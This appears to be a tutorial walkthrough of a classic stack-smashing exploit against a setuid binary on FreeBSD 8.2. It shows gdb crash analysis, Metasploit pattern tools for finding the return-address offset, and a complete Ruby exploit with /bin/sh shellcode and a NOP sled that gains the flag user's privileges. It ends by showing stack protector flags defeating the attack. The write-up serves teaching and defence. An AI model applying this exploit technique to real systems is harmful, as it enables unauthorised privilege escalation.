Smashing the Stack on FreeBSD

Here's a simple program to illustrate a stack smash.

{% highlight bash %}
$ date
Wed Sep 14 11:36:21 EDT 2011
$ uname -a
FreeBSD fbsd.local 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46
UTC 2011 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
{% endhighlight %}

For the purposes of this post our user is named 'user'. We note that the binary we are targeting is suid for the flag user. (This would be suid root in the interesting case.)

{% highlight bash %}

id
uid=1001(user) gid=1001(users) groups=1001(users)
ls -lah main
-rwsr-xr-x 1 flag flag 6.4K Sep 7 13:54 main
{% endhighlight %}

So lets do some simple recon to see if there are functions that we might want to take advantage of:
{% highlight bash %}
$ readelf -r main

Relocation section '.rel.plt' at offset 0x298 contains 4 entries:
Offset Info Type Sym.Value Sym. Name
080496a4 00000107 R_386_JUMP_SLOT 00000000 _init_tls
080496a8 00000407 R_386_JUMP_SLOT 00000000 exit
080496ac 00000607 R_386_JUMP_SLOT 00000000 atexit
080496b0 00000707 R_386_JUMP_SLOT 00000000 strcpy
{% endhighlight %}

So lets see if the strcpy is vulnerable. Lets see if we can make this program crash on our input. We can assume that the input being taken is probably everything except for a (NULL byte).

We suspect that there is a buffer overrun on standard input because of:

{% highlight bash %}
$ ./main ruby19 -e 'puts "A"*80'
Segmentation fault: 11 (core dumped)

$ gdb main
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
gdb>run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x41414141 in ?? ()
{% endhighlight %}

So we create a dipstick to see how to construct the payload.

{% highlight bash %}
user@bt:~$ ruby /opt/framework3/msf3/tools/pattern_create.rb 64
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
{% endhighlight %}

Using GDB we find out at which point on the dipstick we need to notch our return address:

{% highlight bash %}
$ gdb main
GNU gdb 6.1.1 [FreeBSD]
gdb>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A

Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x37614136 in ?? ()

gdb>print $eip
$1 = (void *) 0x37614136
gdb>x /i $eip
0x37614136: Error accessing memory address 0x37614136: Bad address.
{% endhighlight %}

So we have overwritten the instruction pointer with data from our buffer. The program dies on jumping to the next instruction because $eip is not pointing to a valid memory address.
0x37614136 corresponds to 6Aa7 on our dipstick. We can get the offset by using:

{% highlight bash %}
user@bt:~$ ruby /opt/framework3/msf3/tools/pattern_offset.rb 37614136
20
{% endhighlight %}

Which shows we need the initial buffer to be 20 chars long. Now we need to replace 0x37614136 with an advantageous address. We can do this by looking where the program puts our input in memory.

{% highlight bash %}
$ gdb main
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
gdb>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A

Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x37614136 in ?? ()

gdb>x /4s $esp
0xbfbfeb60: "Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A"
0xbfbfeb89: "?▒?▒?"
0xbfbfeb95: ""
0xbfbfeb96: ""
{% endhighlight %}

So we see that the address we can use 0xbfbfeb60. Now we can put it all together:
{% highlight ruby %}

!/usr/local/bin/ruby19

shellcode courtesy of lixor...

injection = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x
54\x53\xb0\x3b\x50\xcd\x80"

offset = 20
buf = 'A'*(offset+4)

eip = [0xbfbfeb60].pack('V')
buf[20, 4] = eip
nopsled = "\x90" * 100

payload = buf + nopsled + injection
puts payload
{% endhighlight %}

And we run it like so:
{% highlight bash %}
$ /home/flag/src/foo/main ./sploit.rb
$ id
uid=1001(user) gid=1001(users) euid=1002(flag) groups=1001(users)
$ cd /home/flag/
$ touch foo
$ exit

$ id
uid=1001(user) gid=1001(users) groups=1001(users)
$ ls /home/flag
foo src
{% endhighlight %}

Note: This is possible because there currently is a defaultly executable stack and this program was compiled without explicit stack smashing protection on FreeBSD.

Stack Smashing Protection is not on by default, but can be turned on with:

{% highlight bash %}
$ gcc -g -Wall -O2 -fstack-protector-all -o main main.c
{% endhighlight %}

And from there we can see kill() being called when we attempt a stack smash.

{% highlight bash %}
gdb>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A

Program received signal SIGABRT, Aborted.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x28179b97 in kill () from /lib/libc.so.7
gdb>x /i 0x28179b97
0x28179b97 <kill+7>: jb 0x28179b7c <sigprocmask+12>
{% endhighlight %}

Thus, it is important to make sure everything on FreeBSD is compiled with stack smashing protection on.